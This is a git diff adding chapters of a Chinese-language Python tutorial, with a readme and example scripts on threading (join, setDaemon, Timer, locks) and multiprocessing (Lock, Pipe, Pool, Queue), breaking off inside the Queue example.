diff --git "a/1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/1.1.pdf" "b/1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/1.1.pdf" new file mode 100644 index 0000000..08e0c77 Binary files /dev/null and "b/1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/1.1.pdf" differ diff --git a/1.1.pdf b/1.1.pdf new file mode 100644 index 0000000..08e0c77 Binary files /dev/null and b/1.1.pdf differ diff --git "a/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/1.2.pdf" "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/1.2.pdf" new file mode 100644 index 0000000..1fc092b Binary files /dev/null and "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/1.2.pdf" differ diff --git a/1.2.pdf b/1.2.pdf new file mode 100644 index 0000000..1fc092b Binary files /dev/null and b/1.2.pdf differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/1.3.pdf" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/1.3.pdf" new file mode 100644 index 0000000..18f11a4 Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/1.3.pdf" differ diff --git a/1.3.pdf b/1.3.pdf new file mode 100644 index 0000000..18f11a4 Binary files /dev/null and b/1.3.pdf differ diff --git "a/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/1.4.pdf" "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/1.4.pdf" new file mode 100644 index 0000000..83d5fcf Binary files /dev/null and "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/1.4.pdf" differ diff --git a/1.4.pdf b/1.4.pdf new file mode 100644 index 0000000..83d5fcf Binary files /dev/null and b/1.4.pdf differ diff --git "a/1.5 \345\207\275\346\225\260/1.5.pdf" "b/1.5 \345\207\275\346\225\260/1.5.pdf" new file mode 100644 index 0000000..99847d7 Binary files /dev/null and "b/1.5 \345\207\275\346\225\260/1.5.pdf" differ diff --git a/1.5.pdf b/1.5.pdf new file mode 100644 index 0000000..99847d7 Binary files /dev/null and b/1.5.pdf differ diff --git "a/1.6 \346\250\241\345\235\227/1.6.pdf" "b/1.6 \346\250\241\345\235\227/1.6.pdf" new file mode 100644 index 0000000..616745a Binary files /dev/null and "b/1.6 \346\250\241\345\235\227/1.6.pdf" differ diff --git a/1.6.pdf b/1.6.pdf new file mode 100644 index 0000000..616745a Binary files /dev/null and b/1.6.pdf differ diff --git "a/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/1.7.pdf" "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/1.7.pdf" new file mode 100644 index 0000000..9152c2a Binary files /dev/null and "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/1.7.pdf" differ diff --git a/1.7.pdf b/1.7.pdf new file mode 100644 index 0000000..9152c2a Binary files /dev/null and b/1.7.pdf differ diff --git "a/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/1.8.pdf" "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/1.8.pdf" new file mode 100644 index 0000000..a49221c Binary files /dev/null and "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/1.8.pdf" differ diff --git "a/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/img/2.0.pdf" "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/img/2.0.pdf" new file mode 100644 index 0000000..2c7a594 Binary files /dev/null and "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/img/2.0.pdf" differ diff --git a/1.8.pdf b/1.8.pdf new file mode 100644 index 0000000..a49221c Binary files /dev/null and b/1.8.pdf differ diff --git "a/2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/readme.md" "b/2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/readme.md" index 73a9dd7..1988266 100644 --- "a/2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/readme.md" +++ "b/2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/readme.md" @@ -4,7 +4,7 @@ ## 2.0.1 编程之禅 -打开终端输入Python,然后输入imprt,一首诗便出现在我们面前了。 +打开终端输入Python,然后输入import this,一首诗便出现在我们面前了。 diff --git a/2.0.pdf b/2.0.pdf new file mode 100644 index 0000000..2c7a594 Binary files /dev/null and b/2.0.pdf differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/2.1.pdf" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/2.1.pdf" new file mode 100644 index 0000000..d83442b Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/2.1.pdf" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/readme.md" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/readme.md" index 56012e6..13a6de4 100644 --- "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/readme.md" +++ "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/readme.md" @@ -262,10 +262,10 @@ def listCurrentDirectoryMode(path): for name in files: pathName = os.path.join(path, name) mode = os.stat(pathName).st_mode - if S_ISDIR(mode): + if stat.S_ISDIR(mode): # 如果是目录 print('%s是文件夹' % pathName) - elif S_ISREG(mode): + elif stat.S_ISREG(mode): # 如果是文件 print('%s是文件'%pathName) else: diff --git a/2.1.pdf b/2.1.pdf new file mode 100644 index 0000000..d83442b Binary files /dev/null and b/2.1.pdf differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/Identify.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/Identify.py" new file mode 100644 index 0000000..e0638e7 --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/Identify.py" @@ -0,0 +1,23 @@ +# -*- coding: UTF-8 -*- +from threading import Thread,currentThread + + +class MyThread(Thread): + def __init__(self, n): + if n != "": + super(MyThread, self).__init__(name=n) # 重构run函数必须要写 + else: + super(MyThread, self).__init__() # 重构run函数必须要写 + + + def run(self): + print("name:%s\n" %self.getName()) + + +if __name__ == "__main__": + t1 = MyThread("") + t2 = MyThread("t2") + + t1.start() + t2.start() + print(currentThread().getName()) \ No newline at end of file diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/extend.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/extend.py" new file mode 100644 index 0000000..bcc7a9f --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/extend.py" @@ -0,0 +1,19 @@ +# -*- coding: UTF-8 -*- +from threading import Thread + + +class MyThread(Thread): + def __init__(self, id): + super(MyThread, self).__init__() # 重构run函数必须要写 + self.id = id + + def run(self): + print("task", self.id) + + +if __name__ == "__main__": + t1 = MyThread("t1") + t2 = MyThread("t2") + + t1.start() + t2.start() \ No newline at end of file diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/join.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/join.py" new file mode 100644 index 0000000..f05fd05 --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/join.py" @@ -0,0 +1,19 @@ +# -*- coding: UTF-8 -*- + +import threading +import time +class MyThread(threading.Thread): + def __init__(self,id): + super(MyThread, self).__init__() + self.id = id + def run(self): + time.sleep(3) + print(self.id) + +if __name__ == "__main__": + t1=MyThread(999) + t1.start() + t1.join() + for i in range(5): + print(i) + diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/mutex.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/mutex.py" new file mode 100644 index 0000000..0bd67ed --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/mutex.py" @@ -0,0 +1,19 @@ +# -*- coding: UTF-8 -*- + +import threading +import time + +num = 0 +def run(n): + lock.acquire() #获取锁 + global num + print('start:', num) + num += 1 + print('end', num) + lock.release() #释放锁 + +lock = threading.Lock() # 实例化一个锁对象 +for i in range(200): + t = threading.Thread(target=run, args=("t-%s" % i,)) + t.start() + t.join() diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/setDaemon.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/setDaemon.py" new file mode 100644 index 0000000..47fb723 --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/setDaemon.py" @@ -0,0 +1,17 @@ +# -*- coding: UTF-8 -*- + +from threading import Thread +import time +class MyThread(Thread): + def __init__(self): + super(MyThread, self).__init__() + def run(self): + time.sleep(5) + print("我是子线程:" + self.getName()) + +if __name__ == "__main__": + t1=MyThread() + t1.setDaemon(True) + t1.start() +print("我是主线程!") + diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/simple.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/simple.py" new file mode 100644 index 0000000..8dfb802 --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/simple.py" @@ -0,0 +1,20 @@ +# -*- coding: UTF-8 -*- +import threading + +class SimpleCreator(): + def f(self,id): + print('线程执行 %s \n' %id) + return + def __init__(self): + return + + def creatThread(self): + for i in range(3): + t = threading.Thread(target=self.f,args=(i,)) + t.start() + + + +if __name__ == '__main__': + sc = SimpleCreator() + sc.creatThread() diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/timer.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/timer.py" new file mode 100644 index 0000000..ed95bab --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/timer.py" @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- + +import threading +import time + +def hello(): + print("hello, Timer") + +if __name__ == '__main__': + t = threading.Timer(3.0, hello) + t.start() + diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/0.jpg" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/0.jpg" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/00.jpeg" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/00.jpeg" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/1.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/1.png" new file mode 100644 index 0000000..73b8991 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/1.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/2.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/2.png" new file mode 100644 index 0000000..163a564 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/2.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/3.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/3.png" new file mode 100644 index 0000000..2bbf217 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/3.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/4.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/4.png" new file mode 100644 index 0000000..d0491e2 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/4.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/5.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/5.png" new file mode 100644 index 0000000..cb416a6 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/5.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/6.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/6.png" new file mode 100644 index 0000000..37e362a Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/6.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/7.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/7.png" new file mode 100644 index 0000000..45a7893 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/7.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/8.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/8.png" new file mode 100644 index 0000000..6270e19 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/8.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/readme.md" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/readme.md" new file mode 100644 index 0000000..a2b81a2 --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/readme.md" @@ -0,0 +1,335 @@ +## 2.2 多线程编程 + +在具体讲解Python的多线程概念之前,我们有必要先搞清楚通常意义上的进程和线程的概念。其实从根本上讲清楚进程和线程并不是一件容易的事情,这里我尽可能的简单去阐述,方便我们写代码即可。 + +每一个应用程序在未执行的时候,只是一个二进制文件,当被执行的时候,操作系统会创建一个该应用的“活体”,就是进程,只有进程才能执行具体的任务。一个进程包括二进制镜像文件、虚拟内存、需要访问的内核资源、安全上下文等等,操作系统会为进程分配一个唯一id。 在linux 系统中使用top 命令可以查看进程信息。 + +![](img/1.png) + +线程是程序运行的最小调度单元,线程包含在进程中,它包括虚拟处理器、栈、应用程序状态信息等。 + +一个进程至少包含一个线程。多线程进程中,理论上每个线程代表单独的任务,多个任务可以同时执行。 + +在操作系统中两个重要的虚拟化概念是是虚拟内存和虚拟处理器。这两个虚拟化给每个进程一个错觉,就是它们都在独享这个计算机资源。通过虚拟内存,每个进程可以操作的内存地址空间都被认为是整个内存资源(包括磁盘上的交互内存),然后映射到实际的物理内存上,这样将物理内存访问和应用程序的内存访问隔离开。假如计算机上只有4G内存,你起了10个进程,每个进程都认为自己拥有4G内存的空间可以访问。虚拟处理器,让进程认为它独占处理器资源,运行过程中不用关心是否和其他进程发生争抢,不必去处理实际的资源分配问题。虚拟处理器模型,可以很方便的在多处理器架构上,让多个进程并行执行。 + +虚拟内存和进程的概念是直接关联的,一个进程中的多个线程共享同一个虚拟内存空间。虚拟处理器和线程是直接关联的,每一个线程是一个独立的调度单元。 + +Python的多线程和其他语言还是有很大区别的,原则上讲是假的多线程。下面的解释引自知乎: + +``` +Python代码的执行由Python虚拟机(解释器)来控制。Python在设计之初就考虑要在主循环中,同时只有一个线程在执行,就像单CPU的系统中运行多个进程那样,内存中可以存放多个程序,但任意时刻,只有一个程序在CPU中运行。同样地,虽然Python解释器可以运行多个线程,只有一个线程在解释器中运行。对Python虚拟机的访问由全局解释器锁(GIL)来控制,正是这个锁能保证同时只有一个线程在运行。在多线程环境中,Python虚拟机按照以下方式执行。 + +1.设置GIL。 +2.切换到一个线程去执行。 +3.运行。 +4.把线程设置为睡眠状态。 +5.解锁GIL。 +6.再次重复以上步骤。 + +对所有面向I/O的(会调用内建的操作系统C代码的)程序来说,GIL会在这个I/O调用之前被释放,以允许其他线程在这个线程等待I/O的时候运行。如果某线程并未使用很多I/O操作,它会在自己的时间片内一直占用处理器和GIL。也就是说,I/O密集型的Python程序比计算密集型的Python程序更能充分利用多线程的好处。 + + +作者:DarrenChan陈驰 +链接:https://www.zhihu.com/question/23474039/answer/269526476 +``` + +基本概念介绍到这里,下面我们开始学习Python的多线程编程。 + +Python中可以使用thread(_thread)模块和threading模块来创建底层线程,由于threading完全可以替代thread模块,同时提供了更为丰富的功能,所以我们这里只介绍threading模块。 + +### 2.1.1 创建线程 + +#### 直接初始化Thread类 + +threading模块中的Thread类代表一个线程,该类的实现在http://hg.python.org/cpython/file/3.4/Lib/threading.py可以看到。 + +Thread类__init__方法定义如下: +```Python +def __init__(self, group=None, target=None, name=None, + args=(), kwargs=None, *, daemon=None): +``` +我们先使用最简单的直接初始化的方法来创建线程,先看如下代码: + +```Python +# -*- coding: UTF-8 -*- +import threading + +class SimpleCreator(): + def f(self): + print('线程执行\n') + return + def __init__(self): + return + + def creatThread(self): + for i in range(3): + t = threading.Thread(target=self.f) + t.start() + + + +if __name__ == '__main__': + sc = SimpleCreator() + sc.creatThread() +``` + +上面的代码中,我们创建了一个简单的测试类SimpleCreator,先定义了一个方法f,该方法被调用时打印“线程执行”。creatThread方法循环创建三个Thread类的实例,构造函数中只传入 了target参数,值为方法f。接下来每个Thread类的实例会调用start方法,该方法的作用是启动线程。在Thread类内部,satrt方法最终会调用run方法,run方法调用传入的target值。我们继续看最后的三行代码: + +```Python +if __name__ == '__main__': + sc = SimpleCreator() + sc.creatThread() +``` + +首先使用“if __name__ == '__main__'” 来判断当前文件是否是入口文件,在多个.py文件组成的应用中,或者编写给第三方调用的模块的时候,判断应用程序入口是十分必要的,不然很多代码会被引用一次就执行一次。接下来初始化了SimpleCreator的实例sc,然后调用了实例方法creatThread,creatThread按照上面的分析创建线程,线程调用f方法打印文字。最终运行结果如下: + +![](img/2.png) + +#### 传参 + + +为了让线程能执行更多的任务,我们需要利用args参数给线程传参,修改上面的代码如下: + +```Python + +class SimpleCreator(): + def f(self,id): + print('线程执行 %s \n' %id) + return + def __init__(self): + return + + def creatThread(self): + for i in range(3): + t = threading.Thread(target=self.f,args=(i,)) + t.start() +``` + +如上,修改f方法接收一个id参数,该参数由creatThread在创建Thread实例的时候通过args参数传入。f被调用的时候打印id值。执行结果如下: + +![](img/3.png) + + +#### 继承threading.Thread + +我们可以创建一个自定义类,继承threading.Thread类,通过重写hreading.Thread类的run方法来控制线程的执行。 新建一个extend.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- +from threading import Thread + + +class MyThread(Thread): + def __init__(self, id): + super(MyThread, self).__init__() # 重构run函数必须要写 + self.id = id + + def run(self): #重写run方法 + print("task", self.id) + +#调用自定义类 +if __name__ == "__main__": + t1 = MyThread("t1") + t2 = MyThread("t2") + + t1.start() + t2.start() +``` + +上面的代码中,我们声明了一个类MyThread,该类继承threading.Thread,关于继承的概念和方法,如果还不理解请重写学习1.8节。这里注意两个地方,使用继承的方法创建线程,我们通常重写run方法,在run方法中完成该线程要做的事情;第二,重写run方法,必须要在构造函数中手动调用父类的构造函数。 + +运行结果如下: + +``` +task t1 +task t2 +``` + +### 2.1.2 Identify + +每个线程默认都有唯一的标识符,可以通过Thread的getName方法获取到。新建Identify.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- +from threading import Thread,currentThread + + +class MyThread(Thread): + def __init__(self, n): + if n != "": + super(MyThread, self).__init__(name=n) # 重构run函数必须要写 + else: + super(MyThread, self).__init__() # 重构run函数必须要写 + + + def run(self): + print("name:%s\n" %self.getName())#获取名称 + + +if __name__ == "__main__": + t1 = MyThread("") + t2 = MyThread("t2") + + t1.start() + t2.start() + print(currentThread().getName())#获取当前线程的名字 +``` + +如上面代码,我们仍然通过自定义线程类来进行测试,构造函数对传入的参数进行的判断,如果值不为空则赋值给Thread类的name参数,该操作会修改默认的线程名称。后续的测试代码线程t1没有重命名线程,t2对线程命名为t2。最后,我们调用threading.currentThread()方法来获取当前线程(主线程)的实例。运行结果如下: + +![](img/4.png) + +### 2.1.3 setDaemon + +程序运行中,执行一个主线程,如果主线程又创建一个子线程,主线程和子线程就分兵两路,分别运行,那么当主线程完成想退出时,会校验子线程是否完成。如果子线程未完成,则主线程会等待子线程完成后再退出。但是有时候我们需要主线程完成了,不管子线程是否完成,都要和主线程一起退出,这时就可以用setDaemon方法了。 + +主线程A中,创建了子线程B,并且在主线程A中调用了B.setDaemon(),这个的意思是,把主线程A设置为守护线程,这时候,要是主线程A执行结束了,就不管子线程B是否完成,一并和主线程A退出。要特别注意的:必须在start() 方法调用之前设置。 + +新建setDaemon.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +from threading import Thread +import time +class MyThread(Thread): + def __init__(self): + super(MyThread, self).__init__() + def run(self): + time.sleep(5) + print("我是子线程:" + self.getName()) + +if __name__ == "__main__": + t1=MyThread() + t1.setDaemon(True) + t1.start() +print("我是主线程!") +``` + +从上面的代码可以看出,子线程t1中的内容并未打出。t1.setDaemon(True)的操作,将父线程设置为了守护线程。根据setDaemon()方法的含义,父线程打印内容后便结束了,不管子线程是否执行完毕了。运行结果如下: + +![](img/5.png) + + +### 2.1.4 join + +主线程A中,创建了子线程B,并且在主线程A中调用了B.join(),那么,主线程A会在调用的地方等待,直到子线程B完成操作后,才可以接着往下执行,那么在调用这个线程时可以使用被调用线程的join方法。 + +创建join.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import threading +import time +class MyThread(threading.Thread): + def __init__(self,id): + super(MyThread, self).__init__() + self.id = id + def run(self): + time.sleep(3) + print(self.id) + +if __name__ == "__main__": + t1=MyThread(999) + t1.start() + for i in range(5): + print(i) + +``` +注意上面代码我们调用了 time.sleep方法,该方法会挂起当前线程指定秒数之后在继续执行。 + +运行结果如下: + +![](img/6.png) + +运行过程中我们可以感知到打印4和999之间,有明显的停顿,会等待3秒钟。线程t1 start后,主线程并没有等线程t1运行结束后再执行,而是先把5次循环打印执行完毕(打印到4),然后sleep(3)后,线程t1把传进去的999才打印出来。下面我们加入join方法,看看它是如何影响运行流程的。 + +```Python +if __name__ == "__main__": + t1=MyThread(999) + t1.start() + t1.join()#此处增加join调用 + for i in range(5): + print(i) +``` + +如上,我们修改启动线程的地方,start之后调用t1.join()。运行过程中,程序会先等待3秒,然后打印999,最后才执行循环打印,实现了子线程调用和主线程的串行执行。运行结果如下: + +![](img/7.png) + +### 2.1.5 Timer + +Timer(定时器)是Thread的派生类,用于在指定时间后调用一个方法。 + +创建timer.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import threading +import time + +def hello(): + print("hello, Timer") + +if __name__ == '__main__': + t = threading.Timer(3.0, hello) + t.start() +``` + +上面的代码中,我们调用hreading.Timer创建一个线程t,第一个参数3.0代表start之后3秒钟,该线程才开始执行,第二个参数hello是该线下要调用的函数。运行结果如下: + +![](img/8.png) + + ### 2.1.6 锁 + + 由于线程之间是进行随机调度,当多个线程同时修改同一条数据时可能会出现脏数据,所以,出现了线程锁,即同一时刻只允许一个线程执行操作。线程锁用于锁定资源,你可以定义多个锁, 当你需要独占某一资源时,任何一个锁都可以锁这个资源,就好比你用不同的锁都可以把相同的一个门锁住是一个道理。 + + + 互斥锁是一种同一时刻只允许一个线程访问资源的锁。创建mutex.py文件,添加下面的代码: + +```Python +# -*- coding: UTF-8 -*- + +import threading +import time + +num = 0 +def run(n): + lock.acquire() #获取锁 + global num + print('start:', num) + num += 1 + print('end', num) + lock.release() #释放锁 + +lock = threading.Lock() # 实例化一个锁对象 +for i in range(200): + t = threading.Thread(target=run, args=("t-%s" % i,)) + t.start() + t.join() +``` +注意上面代码中调用了lock.acquire() 获取锁,通过lock.release()释放锁,两者之间的代码同时只能被一个线程访问。当前线程未推出时,其他线程会等待其执行。另外,通过threading.RLock()可以获得递归锁,RLcok类的用法和Lock类一模一样,但它支持嵌套,,在多个锁没有释放的时候一般会使用使用RLcok类。 + +### 2.1.7 小结 + +多线程是Python编程的难点之一,这里我们简单介绍了基础概念,还有很多概念没有介绍,同学们在有精力的情况下可以自己扩展,没有精力也不必着急,只需把本篇文章中的内容练习掌握即可。扩展内容在后续涉及到的时候会继续讲解。 + +本节作业: + +1. 结合2.1节内容,写一个多线程版本的文件枚举程序,同时输入多个目录,每个线程负责一个目录递归获取该目录下的所有文件。 + +下一篇文章我们继续学习多进程编程,多进程学习完毕之后统一安排练习项目。 + +下一节我们学习多线程编程。 + + + 本系列教程全部内容在星球空间内发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) diff --git a/2.2.pdf b/2.2.pdf new file mode 100644 index 0000000..2f0b12e Binary files /dev/null and b/2.2.pdf differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/2.3.pdf" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/2.3.pdf" new file mode 100644 index 0000000..ac8bc2a Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/2.3.pdf" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Lock.py" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Lock.py" new file mode 100644 index 0000000..5d21911 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Lock.py" @@ -0,0 +1,24 @@ +# -*- coding: UTF-8 -*- +import multiprocessing +import time + +def job(v, num, l): + l.acquire() # 锁住 + for _ in range(5): + time.sleep(0.1) + v.value += num # 获取共享内存 + print(v.value) + l.release() # 释放 + +def multicore(): + l = multiprocessing.Lock() # 定义一个进程锁 + v = multiprocessing.Value('i', 0) # 定义共享内存 + p1 = multiprocessing.Process(target=job, args=(v,1,l)) # 需要将lock传入 + p2 = multiprocessing.Process(target=job, args=(v,3,l)) + p1.start() + p2.start() + p1.join() + p2.join() + +if __name__ == '__main__': + multicore() \ No newline at end of file diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pipe.py" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pipe.py" new file mode 100644 index 0000000..d0e4a81 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pipe.py" @@ -0,0 +1,37 @@ +# -*- coding: UTF-8 -*- +import multiprocessing + +def consumer(pipe): + output_p,input_p=pipe + input_p.close() #关闭管道的输入端 + while True: + try: + item=output_p.recv() + print(item) + except EOFError: + break + + +#生产项目并将其放置到队列上,sequence是代表要处理项目的可迭代对象 +def producer(sequence,input_p): + for item in sequence: + #将项目放置在队列上 + input_p.send(item) +if __name__=="__main__": + (output_p,input_p)=multiprocessing.Pipe(True) + #启动使用者进程 + cons_p=multiprocessing.Process(target=consumer,args=((output_p,input_p),)) + cons_p.start() + + #关闭生产者中的输出管道 + output_p.close() + print("生产者关闭") + #生产项目 + sequence=[1,2,3,4] + producer(sequence,input_p) + #关闭输入管道,表示完成 + input_p.close() + #等待使用者进程关闭 + cons_p.join() + + diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pool.py" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pool.py" new file mode 100644 index 0000000..54857e8 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pool.py" @@ -0,0 +1,20 @@ +# -*- coding: UTF-8 -*- + +from multiprocessing import Process,Pool +import time + +def Foo(i): + time.sleep(2) + return i+100 + +def Bar(arg): + print('-->exec done:',arg) + +pool = Pool(5) #允许进程池同时放入5个进程 + +for i in range(10): + pool.apply_async(func=Foo, args=(i,),callback=Bar) #func子进程执行完后,才会执行callback,否则callback不执行(而且callback是由父进程来执行了) + +print('end') +pool.close() +pool.join() #主进程等待所有子进程执行完毕。必须在close()或terminate()之后。 \ No newline at end of file diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Queue.py" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Queue.py" new file mode 100644 index 0000000..cb24a04 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Queue.py" @@ -0,0 +1,23 @@ +# -*- coding: UTF-8 -*- + +from multiprocessing import Process, Queue +import time + +def f(q, data): + q.put(data) +def out(q): + time.sleep(4) + print(q.get()) + +if __name__ == '__main__': + 